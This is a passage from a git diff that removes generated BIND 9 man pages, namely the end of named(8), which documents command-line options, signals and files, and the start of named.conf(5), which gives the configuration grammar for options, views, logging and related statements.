-configuration file \fB/etc/named.conf\fP, reads any initial data, and
-listens for queries.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-4\fP
-This option tells \fBnamed\fP to use only IPv4, even if the host machine is capable of IPv6. \fB\-4\fP and
-\fB\-6\fP are mutually exclusive.
-.TP
-.B \fB\-6\fP
-This option tells \fBnamed\fP to use only IPv6, even if the host machine is capable of IPv4. \fB\-4\fP and
-\fB\-6\fP are mutually exclusive.
-.TP
-.B \fB\-c config\-file\fP
-This option tells \fBnamed\fP to use \fBconfig\-file\fP as its configuration file instead of the default,
-\fB/etc/named.conf\fP\&. To ensure that the configuration file
-can be reloaded after the server has changed its working directory
-due to to a possible \fBdirectory\fP option in the configuration file,
-\fBconfig\-file\fP should be an absolute pathname.
-.TP
-.B \fB\-d debug\-level\fP
-This option sets the daemon\(aqs debug level to \fBdebug\-level\fP\&. Debugging traces from
-\fBnamed\fP become more verbose as the debug level increases.
-.TP
-.B \fB\-D string\fP
-This option specifies a string that is used to identify a instance of \fBnamed\fP
-in a process listing. The contents of \fBstring\fP are not examined.
-.TP
-.B \fB\-E engine\-name\fP
-When applicable, this option specifies the hardware to use for cryptographic
-operations, such as a secure key store used for signing.
-.sp
-When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
-engine identifier that drives the cryptographic accelerator or
-hardware service module (usually \fBpkcs11\fP). When BIND is
-built with native PKCS#11 cryptography (\fB\-\-enable\-native\-pkcs11\fP), it
-defaults to the path of the PKCS#11 provider library specified via
-\fB\-\-with\-pkcs11\fP\&.
-.TP
-.B \fB\-f\fP
-This option runs the server in the foreground (i.e., do not daemonize).
-.TP
-.B \fB\-g\fP
-This option runs the server in the foreground and forces all logging to \fBstderr\fP\&.
-.TP
-.B \fB\-L logfile\fP
-This option sets the log to the file \fBlogfile\fP by default, instead of the system log.
-.TP
-.B \fB\-M option\fP
-This option sets the default memory context options. If set to \fBexternal\fP,
-the internal memory manager is bypassed in favor of
-system\-provided memory allocation functions. If set to \fBfill\fP, blocks
-of memory are filled with tag values when allocated or freed, to
-assist debugging of memory problems. \fBnofill\fP disables this behavior,
-and is the default unless \fBnamed\fP has been compiled with developer
-options.
-.TP
-.B \fB\-m flag\fP
-This option turns on memory usage debugging flags. Possible flags are \fBusage\fP,
-\fBtrace\fP, \fBrecord\fP, \fBsize\fP, and \fBmctx\fP\&. These correspond to the
-\fBISC_MEM_DEBUGXXXX\fP flags described in \fB<isc/mem.h>\fP\&.
-.TP
-.B \fB\-n #cpus\fP
-This option creates \fB#cpus\fP worker threads to take advantage of multiple CPUs. If
-not specified, \fBnamed\fP tries to determine the number of CPUs
-present and creates one thread per CPU. If it is unable to determine
-the number of CPUs, a single worker thread is created.
-.TP
-.B \fB\-p value\fP
-This option specifies the port(s) on which the server will listen
-for queries. If \fBvalue\fP is of the form \fB<portnum>\fP or
-\fBdns=<portnum>\fP, the server will listen for DNS queries on
-\fBportnum\fP; if not not specified, the default is port 53. If
-\fBvalue\fP is of the form \fBtls=<portnum>\fP, the server will
-listen for TLS queries on \fBportnum\fP; the default is 853.
-If \fBvalue\fP is of the form \fBhttps=<portnum>\fP, the server will
-listen for HTTPS queries on \fBportnum\fP; the default is 443.
-If \fBvalue\fP is of the form \fBhttp=<portnum>\fP, the server will
-listen for HTTP queries on \fBportnum\fP; the default is 80.
-.TP
-.B \fB\-s\fP
-This option writes memory usage statistics to \fBstdout\fP on exit.
-.UNINDENT
-.sp
-\fBNOTE:\fP
-.INDENT 0.0
-.INDENT 3.5
-This option is mainly of interest to BIND 9 developers and may be
-removed or changed in a future release.
-.UNINDENT
-.UNINDENT
-.INDENT 0.0
-.TP
-.B \fB\-S #max\-socks\fP
-This option allows \fBnamed\fP to use up to \fB#max\-socks\fP sockets. The default value is
-21000 on systems built with default configuration options, and 4096
-on systems built with \fBconfigure \-\-with\-tuning=small\fP\&.
-.UNINDENT
-.sp
-\fBWARNING:\fP
-.INDENT 0.0
-.INDENT 3.5
-This option should be unnecessary for the vast majority of users.
-The use of this option could even be harmful, because the specified
-value may exceed the limitation of the underlying system API. It
-is therefore set only when the default configuration causes
-exhaustion of file descriptors and the operational environment is
-known to support the specified number of sockets. Note also that
-the actual maximum number is normally slightly fewer than the
-specified value, because \fBnamed\fP reserves some file descriptors
-for its internal use.
-.UNINDENT
-.UNINDENT
-.INDENT 0.0
-.TP
-.B \fB\-t directory\fP
-This option tells \fBnamed\fP to chroot to \fBdirectory\fP after processing the command\-line arguments, but
-before reading the configuration file.
-.UNINDENT
-.sp
-\fBWARNING:\fP
-.INDENT 0.0
-.INDENT 3.5
-This option should be used in conjunction with the \fB\-u\fP option,
-as chrooting a process running as root doesn\(aqt enhance security on
-most systems; the way \fBchroot\fP is defined allows a process
-with root privileges to escape a chroot jail.
-.UNINDENT
-.UNINDENT
-.INDENT 0.0
-.TP
-.B \fB\-U #listeners\fP
-This option tells \fBnamed\fP the number of \fB#listeners\fP worker threads to listen on, for incoming UDP packets on
-each address. If not specified, \fBnamed\fP calculates a default
-value based on the number of detected CPUs: 1 for 1 CPU, and the
-number of detected CPUs minus one for machines with more than 1 CPU.
-This cannot be increased to a value higher than the number of CPUs.
-If \fB\-n\fP has been set to a higher value than the number of detected
-CPUs, then \fB\-U\fP may be increased as high as that value, but no
-higher.
-.TP
-.B \fB\-u user\fP
-This option sets the setuid to \fBuser\fP after completing privileged operations, such as
-creating sockets that listen on privileged ports.
-.UNINDENT
-.sp
-\fBNOTE:\fP
-.INDENT 0.0
-.INDENT 3.5
-On Linux, \fBnamed\fP uses the kernel\(aqs capability mechanism to drop
-all root privileges except the ability to \fBbind\fP to a
-privileged port and set process resource limits. Unfortunately,
-this means that the \fB\-u\fP option only works when \fBnamed\fP is run
-on kernel 2.2.18 or later, or kernel 2.3.99\-pre3 or later, since
-previous kernels did not allow privileges to be retained after
-\fBsetuid\fP\&.
-.UNINDENT
-.UNINDENT
-.INDENT 0.0
-.TP
-.B \fB\-v\fP
-This option reports the version number and exits.
-.TP
-.B \fB\-V\fP
-This option reports the version number and build options, and exits.
-.TP
-.B \fB\-X lock\-file\fP
-This option acquires a lock on the specified file at runtime; this helps to
-prevent duplicate \fBnamed\fP instances from running simultaneously.
-Use of this option overrides the \fBlock\-file\fP option in
-\fBnamed.conf\fP\&. If set to \fBnone\fP, the lock file check is disabled.
-.TP
-.B \fB\-x cache\-file\fP
-This option loads data from \fBcache\-file\fP into the cache of the default view.
-.UNINDENT
-.sp
-\fBWARNING:\fP
-.INDENT 0.0
-.INDENT 3.5
-This option must not be used in normal operations. It is only of interest to BIND 9
-developers and may be removed or changed in a future release.
-.UNINDENT
-.UNINDENT
-.SH SIGNALS
-.sp
-In routine operation, signals should not be used to control the
-nameserver; \fBrndc\fP should be used instead.
-.INDENT 0.0
-.TP
-.B SIGHUP
-This signal forces a reload of the server.
-.TP
-.B SIGINT, SIGTERM
-These signals shut down the server.
-.UNINDENT
-.sp
-The result of sending any other signals to the server is undefined.
-.SH CONFIGURATION
-.sp
-The \fBnamed\fP configuration file is too complex to describe in detail
-here. A complete description is provided in the BIND 9 Administrator
-Reference Manual.
-.sp
-\fBnamed\fP inherits the \fBumask\fP (file creation mode mask) from the
-parent process. If files created by \fBnamed\fP, such as journal files,
-need to have custom permissions, the \fBumask\fP should be set explicitly
-in the script used to start the \fBnamed\fP process.
-.SH FILES
-.INDENT 0.0
-.TP
-.B \fB/etc/named.conf\fP
-The default configuration file.
-.TP
-.B \fB/var/run/named/named.pid\fP
-The default process\-id file.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fI\%RFC 1033\fP, \fI\%RFC 1034\fP, \fI\%RFC 1035\fP, \fBnamed\-checkconf(8)\fP, \fBnamed\-checkzone(8)\fP, \fBrndc(8)\fP, \fBnamed.conf(5)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/named.conf.5in b/doc/man/named.conf.5in
deleted file mode 100644
index 5a311c30db..0000000000
--- a/doc/man/named.conf.5in
+++ /dev/null
@@ -1,1186 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NAMED.CONF" "5" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-named.conf \- configuration file for **named**
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnamed.conf\fP
-.SH DESCRIPTION
-.sp
-\fBnamed.conf\fP is the configuration file for \fBnamed\fP\&. Statements are
-enclosed in braces and terminated with a semi\-colon. Clauses in the
-statements are also semi\-colon terminated.  The usual comment styles are
-supported:
-.sp
-C style: /* */
-.INDENT 0.0
-.INDENT 3.5
-C++ style: // to end of line
-.UNINDENT
-.UNINDENT
-.sp
-Unix style: # to end of line
-.SS ACL
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-acl string { address_match_element; ... };
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS CONTROLS
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-controls {
-      inet ( ipv4_address | ipv6_address |
-          * ) [ port ( integer | * ) ] allow
-          { address_match_element; ... } [
-          keys { string; ... } ] [ read\-only
-          boolean ];
-      unix quoted_string perm integer
-          owner integer group integer [
-          keys { string; ... } ] [ read\-only
-          boolean ];
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS DLZ
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-dlz string {
-      database string;
-      search boolean;
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS DNSSEC\-POLICY
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-dnssec\-policy string {
-      dnskey\-ttl duration;
-      keys { ( csk | ksk | zsk ) [ ( key\-directory ) ] lifetime
-          duration_or_unlimited algorithm string [ integer ]; ... };
-      max\-zone\-ttl duration;
-      nsec3param [ iterations integer ] [ optout boolean ] [
-          salt\-length integer ];
-      parent\-ds\-ttl duration;
-      parent\-propagation\-delay duration;
-      publish\-safety duration;
-      purge\-keys duration;
-      retire\-safety duration;
-      signatures\-refresh duration;
-      signatures\-validity duration;
-      signatures\-validity\-dnskey duration;
-      zone\-propagation\-delay duration;
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS DYNDB
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-dyndb string quoted_string {
-    unspecified\-text };
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS HTTP
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-http string {
-      endpoints { quoted_string; ... };
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS KEY
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-key string {
-      algorithm string;
-      secret string;
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS LOGGING
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-logging {
-      category string { string; ... };
-      channel string {
-              buffered boolean;
-              file quoted_string [ versions ( unlimited | integer ) ]
-                  [ size size ] [ suffix ( increment | timestamp ) ];
-              null;
-              print\-category boolean;
-              print\-severity boolean;
-              print\-time ( iso8601 | iso8601\-utc | local | boolean );
-              severity log_severity;
-              stderr;
-              syslog [ syslog_facility ];
-      };
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS MANAGED\-KEYS
-.sp
-See DNSSEC\-KEYS.
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-managed\-keys { string ( static\-key
-    | initial\-key | static\-ds |
-    initial\-ds ) integer integer
-    integer quoted_string; ... };, deprecated
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS MASTERS
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-masters string [ port integer ] [ dscp
-    integer ] { ( primaries | ipv4_address
-    [ port integer ] | ipv6_address [ port
-    integer ] ) [ key string ] [ tls
-    string ]; ... };
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS OPTIONS
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-options {
-      allow\-new\-zones boolean;
-      allow\-notify { address_match_element; ... };
-      allow\-query { address_match_element; ... };
-      allow\-query\-cache { address_match_element; ... };
-      allow\-query\-cache\-on { address_match_element; ... };
-      allow\-query\-on { address_match_element; ... };
-      allow\-recursion { address_match_element; ... };
-      allow\-recursion\-on { address_match_element; ... };
-      allow\-transfer { address_match_element; ... };
-      allow\-update { address_match_element; ... };
-      allow\-update\-forwarding { address_match_element; ... };
-      also\-notify [ port integer ] [ dscp integer ] { ( primaries |
-          ipv4_address [ port integer ] | ipv6_address [ port
-          integer ] ) [ key string ] [ tls string ]; ... };
-      alt\-transfer\-source ( ipv4_address | * ) [ port ( integer | * )
-          ] [ dscp integer ];
-      alt\-transfer\-source\-v6 ( ipv6_address | * ) [ port ( integer |
-          * ) ] [ dscp integer ];
-      answer\-cookie boolean;
-      attach\-cache string;
-      auth\-nxdomain boolean;
-      auto\-dnssec ( allow | maintain | off );
-      automatic\-interface\-scan boolean;
-      avoid\-v4\-udp\-ports { portrange; ... };
-      avoid\-v6\-udp\-ports { portrange; ... };
-      bindkeys\-file quoted_string;
-      blackhole { address_match_element; ... };
-      cache\-file quoted_string;
-      catalog\-zones { zone string [ default\-masters [ port integer ]
-          [ dscp integer ] { ( primaries | ipv4_address [ port
-          integer ] | ipv6_address [ port integer ] ) [ key
-          string ] [ tls string ]; ... } ] [ zone\-directory
-          quoted_string ] [ in\-memory boolean ] [ min\-update\-interval
-          duration ]; ... };
-      check\-dup\-records ( fail | warn | ignore );
-      check\-integrity boolean;
-      check\-mx ( fail | warn | ignore );
-      check\-mx\-cname ( fail | warn | ignore );
-      check\-names ( primary | master |
-          secondary | slave | response ) (
-          fail | warn | ignore );
-      check\-sibling boolean;
-      check\-spf ( warn | ignore );
-      check\-srv\-cname ( fail | warn | ignore );
-      check\-wildcard boolean;
-      clients\-per\-query integer;
-      cookie\-algorithm ( aes | siphash24 );
-      cookie\-secret string;
-      coresize ( default | unlimited | sizeval );
-      datasize ( default | unlimited | sizeval );
-      deny\-answer\-addresses { address_match_element; ... } [
-          except\-from { string; ... } ];
-      deny\-answer\-aliases { string; ... } [ except\-from { string; ...
-          } ];
-      dialup ( notify | notify\-passive | passive | refresh | boolean );
-      directory quoted_string;
-      disable\-algorithms string { string;
-          ... };
-      disable\-ds\-digests string { string;
-          ... };
-      disable\-empty\-zone string;
-      dns64 netprefix {
-              break\-dnssec boolean;
-              clients { address_match_element; ... };
-              exclude { address_match_element; ... };
-              mapped { address_match_element; ... };
-              recursive\-only boolean;
-              suffix ipv6_address;
-      };
-      dns64\-contact string;
-      dns64\-server string;
-      dnskey\-sig\-validity integer;
-      dnsrps\-enable boolean;
-      dnsrps\-options { unspecified\-text };
-      dnssec\-accept\-expired boolean;
-      dnssec\-dnskey\-kskonly boolean;
-      dnssec\-loadkeys\-interval integer;
-      dnssec\-must\-be\-secure string boolean;
-      dnssec\-policy string;
-      dnssec\-secure\-to\-insecure boolean;
-      dnssec\-update\-mode ( maintain | no\-resign );
-      dnssec\-validation ( yes | no | auto );
-      dnstap { ( all | auth | client | forwarder | resolver | update ) [
-          ( query | response ) ]; ... };
-      dnstap\-identity ( quoted_string | none | hostname );
-      dnstap\-output ( file | unix ) quoted_string [ size ( unlimited |
-          size ) ] [ versions ( unlimited | integer ) ] [ suffix (
-          increment | timestamp ) ];
-      dnstap\-version ( quoted_string | none );
-      dscp integer;
-      dual\-stack\-servers [ port integer ] { ( quoted_string [ port
-          integer ] [ dscp integer ] | ipv4_address [ port
-          integer ] [ dscp integer ] | ipv6_address [ port
-          integer ] [ dscp integer ] ); ... };
-      dump\-file quoted_string;
-      edns\-udp\-size integer;
-      empty\-contact string;
-      empty\-server string;
-      empty\-zones\-enable boolean;
-      fetch\-quota\-params integer fixedpoint fixedpoint fixedpoint;
-      fetches\-per\-server integer [ ( drop | fail ) ];
-      fetches\-per\-zone integer [ ( drop | fail ) ];
-      files ( default | unlimited | sizeval );
-      flush\-zones\-on\-shutdown boolean;
-      forward ( first | only );
-      forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-          | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-      fstrm\-set\-buffer\-hint integer;
-      fstrm\-set\-flush\-timeout integer;
-      fstrm\-set\-input\-queue\-size integer;
-      fstrm\-set\-output\-notify\-threshold integer;
-      fstrm\-set\-output\-queue\-model ( mpsc | spsc );
-      fstrm\-set\-output\-queue\-size integer;
-      fstrm\-set\-reopen\-interval duration;
-      geoip\-directory ( quoted_string | none );
-      glue\-cache boolean;// deprecated
-      heartbeat\-interval integer;
-      hostname ( quoted_string | none );
-      http\-port integer;
-      https\-port integer;
-      interface\-interval duration;
-      ipv4only\-contact string;
-      ipv4only\-enable boolean;
-      ipv4only\-server string;
-      ixfr\-from\-differences ( primary | master | secondary | slave |
-          boolean );
-      keep\-response\-order { address_match_element; ... };
-      key\-directory quoted_string;
-      lame\-ttl duration;
-      listen\-on [ port integer ] [ dscp
-          integer ] [ tls string ] [ http
-          string ] {
-          address_match_element; ... };
-      listen\-on\-v6 [ port integer ] [ dscp
-          integer ] [ tls string ] [ http
-          string ] {
-          address_match_element; ... };
-      lmdb\-mapsize sizeval;
-      lock\-file ( quoted_string | none );
-      managed\-keys\-directory quoted_string;
-      masterfile\-format ( map | raw | text );
-      masterfile\-style ( full | relative );
-      match\-mapped\-addresses boolean;
-      max\-cache\-size ( default | unlimited | sizeval | percentage );
-      max\-cache\-ttl duration;
-      max\-clients\-per\-query integer;
-      max\-ixfr\-ratio ( unlimited | percentage );
-      max\-journal\-size ( default | unlimited | sizeval );
-      max\-ncache\-ttl duration;
-      max\-records integer;
-      max\-recursion\-depth integer;
-      max\-recursion\-queries integer;
-      max\-refresh\-time integer;
-      max\-retry\-time integer;
-      max\-rsa\-exponent\-size integer;
-      max\-stale\-ttl duration;
-      max\-transfer\-idle\-in integer;
-      max\-transfer\-idle\-out integer;
-      max\-transfer\-time\-in integer;
-      max\-transfer\-time\-out integer;
-      max\-udp\-size integer;
-      max\-zone\-ttl ( unlimited | duration );
-      memstatistics boolean;
-      memstatistics\-file quoted_string;
-      message\-compression boolean;
-      min\-cache\-ttl duration;
-      min\-ncache\-ttl duration;
-      min\-refresh\-time integer;
-      min\-retry\-time integer;
-      minimal\-any boolean;
-      minimal\-responses ( no\-auth | no\-auth\-recursive | boolean );
-      multi\-master boolean;
-      new\-zones\-directory quoted_string;
-      no\-case\-compress { address_match_element; ... };
-      nocookie\-udp\-size integer;
-      notify ( explicit | master\-only | primary\-only | boolean );
-      notify\-delay integer;
-      notify\-rate integer;
-      notify\-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-          dscp integer ];
-      notify\-source\-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-          [ dscp integer ];
-      notify\-to\-soa boolean;
-      nta\-lifetime duration;
-      nta\-recheck duration;
-      nxdomain\-redirect string;
-      pid\-file ( quoted_string | none );
-      port integer;
-      preferred\-glue string;
-      prefetch integer [ integer ];
-      provide\-ixfr boolean;
-      qname\-minimization ( strict | relaxed | disabled | off );
-      query\-source ( ( [ address ] ( ipv4_address | * ) [ port (
-          integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-          port ( integer | * ) ) ) [ dscp integer ];
-      query\-source\-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-          integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-          port ( integer | * ) ) ) [ dscp integer ];
-      querylog boolean;
-      random\-device ( quoted_string | none );
-      rate\-limit {
-              all\-per\-second integer;
-              errors\-per\-second integer;
-              exempt\-clients { address_match_element; ... };
-              ipv4\-prefix\-length integer;
-              ipv6\-prefix\-length integer;
-              log\-only boolean;
-              max\-table\-size integer;
-              min\-table\-size integer;
-              nodata\-per\-second integer;
-              nxdomains\-per\-second integer;
-              qps\-scale integer;
-              referrals\-per\-second integer;
-              responses\-per\-second integer;
-              slip integer;
-              window integer;
-      };
-      recursing\-file quoted_string;
-      recursion boolean;
-      recursive\-clients integer;
-      request\-expire boolean;
-      request\-ixfr boolean;
-      request\-nsid boolean;
-      require\-server\-cookie boolean;
-      reserved\-sockets integer;
-      resolver\-nonbackoff\-tries integer;
-      resolver\-query\-timeout integer;
-      resolver\-retry\-interval integer;
-      response\-padding { address_match_element; ... } block\-size
-          integer;
-      response\-policy { zone string [ add\-soa boolean ] [ log
-          boolean ] [ max\-policy\-ttl duration ] [ min\-update\-interval
-          duration ] [ policy ( cname | disabled | drop | given | no\-op
-          | nodata | nxdomain | passthru | tcp\-only quoted_string ) ] [
-          recursive\-only boolean ] [ nsip\-enable boolean ] [
-          nsdname\-enable boolean ]; ... } [ add\-soa boolean ] [
-          break\-dnssec boolean ] [ max\-policy\-ttl duration ] [
-          min\-update\-interval duration ] [ min\-ns\-dots integer ] [
-          nsip\-wait\-recurse boolean ] [ nsdname\-wait\-recurse boolean
-          ] [ qname\-wait\-recurse boolean ] [ recursive\-only boolean ]
-          [ nsip\-enable boolean ] [ nsdname\-enable boolean ] [
-          dnsrps\-enable boolean ] [ dnsrps\-options { unspecified\-text
-          } ];
-      root\-delegation\-only [ exclude { string; ... } ];
-      root\-key\-sentinel boolean;
-      rrset\-order { [ class string ] [ type string ] [ name
-          quoted_string ] string string; ... };
-      secroots\-file quoted_string;
-      send\-cookie boolean;
-      serial\-query\-rate integer;
-      serial\-update\-method ( date | increment | unixtime );
-      server\-id ( quoted_string | none | hostname );
-      servfail\-ttl duration;
-      session\-keyalg string;
-      session\-keyfile ( quoted_string | none );
-      session\-keyname string;
-      sig\-signing\-nodes integer;
-      sig\-signing\-signatures integer;
-      sig\-signing\-type integer;
-      sig\-validity\-interval integer [ integer ];
-      sortlist { address_match_element; ... };
-      stacksize ( default | unlimited | sizeval );
-      stale\-answer\-client\-timeout ( disabled | off | integer );
-      stale\-answer\-enable boolean;
-      stale\-answer\-ttl duration;
-      stale\-cache\-enable boolean;
-      stale\-refresh\-time duration;
-      startup\-notify\-rate integer;
-      statistics\-file quoted_string;
-      synth\-from\-dnssec boolean;
-      tcp\-advertised\-timeout integer;
-      tcp\-clients integer;
-      tcp\-idle\-timeout integer;
-      tcp\-initial\-timeout integer;
-      tcp\-keepalive\-timeout integer;
-      tcp\-listen\-queue integer;
-      tcp\-receive\-buffer integer;
-      tcp\-send\-buffer integer;
-      tkey\-dhkey quoted_string integer;
-      tkey\-domain quoted_string;
-      tkey\-gssapi\-credential quoted_string;
-      tkey\-gssapi\-keytab quoted_string;
-      tls\-port integer;
-      transfer\-format ( many\-answers | one\-answer );
-      transfer\-message\-size integer;
-      transfer\-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-          dscp integer ];
-      transfer\-source\-v6 ( ipv6_address | * ) [ port ( integer | * )
-          ] [ dscp integer ];
-      transfers\-in integer;
-      transfers\-out integer;
-      transfers\-per\-ns integer;
-      trust\-anchor\-telemetry boolean; // experimental
-      try\-tcp\-refresh boolean;
-      udp\-receive\-buffer integer;
-      udp\-send\-buffer integer;
-      update\-check\-ksk boolean;
-      use\-alt\-transfer\-source boolean;
-      use\-v4\-udp\-ports { portrange; ... };
-      use\-v6\-udp\-ports { portrange; ... };
-      v6\-bias integer;
-      validate\-except { string; ... };
-      version ( quoted_string | none );
-      zero\-no\-soa\-ttl boolean;
-      zero\-no\-soa\-ttl\-cache boolean;
-      zone\-statistics ( full | terse | none | boolean );
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS PLUGIN
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-plugin ( query ) string [ { unspecified\-text
-    } ];
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS PRIMARIES
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-primaries string [ port integer ] [ dscp
-    integer ] { ( primaries | ipv4_address
-    [ port integer ] | ipv6_address [ port
-    integer ] ) [ key string ] [ tls
-    string ]; ... };
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS SERVER
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-server netprefix {
-      bogus boolean;
-      edns boolean;
-      edns\-udp\-size integer;
-      edns\-version integer;
-      keys server_key;
-      max\-udp\-size integer;
-      notify\-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-          dscp integer ];
-      notify\-source\-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-          [ dscp integer ];
-      padding integer;
-      provide\-ixfr boolean;
-      query\-source ( ( [ address ] ( ipv4_address | * ) [ port (
-          integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-          port ( integer | * ) ) ) [ dscp integer ];
-      query\-source\-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-          integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-          port ( integer | * ) ) ) [ dscp integer ];
-      request\-expire boolean;
-      request\-ixfr boolean;
-      request\-nsid boolean;
-      send\-cookie boolean;
-      tcp\-keepalive boolean;
-      tcp\-only boolean;
-      transfer\-format ( many\-answers | one\-answer );
-      transfer\-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-          dscp integer ];
-      transfer\-source\-v6 ( ipv6_address | * ) [ port ( integer | * )
-          ] [ dscp integer ];
-      transfers integer;
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS STATISTICS\-CHANNELS
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-statistics\-channels {
-      inet ( ipv4_address | ipv6_address |
-          * ) [ port ( integer | * ) ] [
-          allow { address_match_element; ...
-          } ];
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS TLS
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-tls string {
-      ca\-file quoted_string;
-      cert\-file quoted_string;
-      ciphers string; // experimental
-      dh\-param quoted_string; // experimental
-      hostname quoted_string;
-      key\-file quoted_string;
-      protocols sslprotos; // experimental
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS TRUST\-ANCHORS
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-trust\-anchors { string ( static\-key |
-    initial\-key | static\-ds | initial\-ds )
-    integer integer integer
-    quoted_string; ... };
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS TRUSTED\-KEYS
-.sp
-Deprecated \- see DNSSEC\-KEYS.
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-trusted\-keys { string integer
-    integer integer
-    quoted_string; ... };, deprecated
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.SS VIEW
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-view string [ class ] {
-      allow\-new\-zones boolean;
-      allow\-notify { address_match_element; ... };
-      allow\-query { address_match_element; ... };
-      allow\-query\-cache { address_match_element; ... };
-      allow\-query\-cache\-on { address_match_element; ... };
-      allow\-query\-on { address_match_element; ... };
-      allow\-recursion { address_match_element; ... };
-      allow\-recursion\-on { address_match_element; ... };
-      allow\-transfer { address_match_element; ... };
-      allow\-update { address_match_element; ... };
-      allow\-update\-forwarding { address_match_element; ... };
-      also\-notify [ port integer ] [ dscp integer ] { ( primaries |
-          ipv4_address [ port integer ] | ipv6_address [ port
-          integer ] ) [ key string ] [ tls string ]; ... };
-      alt\-transfer\-source ( ipv4_address | * ) [ port ( integer | * )
-          ] [ dscp integer ];
-      alt\-transfer\-source\-v6 ( ipv6_address | * ) [ port ( integer |
-          * ) ] [ dscp integer ];
-      attach\-cache string;
-      auth\-nxdomain boolean;
-      auto\-dnssec ( allow | maintain | off );
-      cache\-file quoted_string;
-      catalog\-zones { zone string [ default\-masters [ port integer ]
-          [ dscp integer ] { ( primaries | ipv4_address [ port
-          integer ] | ipv6_address [ port integer ] ) [ key
-          string ] [ tls string ]; ... } ] [ zone\-directory
-          quoted_string ] [ in\-memory boolean ] [ min\-update\-interval
-          duration ]; ... };
-      check\-dup\-records ( fail | warn | ignore );
-      check\-integrity boolean;
-      check\-mx ( fail | warn | ignore );
-      check\-mx\-cname ( fail | warn | ignore );
-      check\-names ( primary | master |
-          secondary | slave | response ) (
-          fail | warn | ignore );
-      check\-sibling boolean;
-      check\-spf ( warn | ignore );
-      check\-srv\-cname ( fail | warn | ignore );
-      check\-wildcard boolean;
-      clients\-per\-query integer;
-      deny\-answer\-addresses { address_match_element; ... } [
-          except\-from { string; ... } ];
-      deny\-answer\-aliases { string; ... } [ except\-from { string; ...
-          } ];
-      dialup ( notify | notify\-passive | passive | refresh | boolean );
-      disable\-algorithms string { string;
-          ... };
-      disable\-ds\-digests string { string;
-          ... };
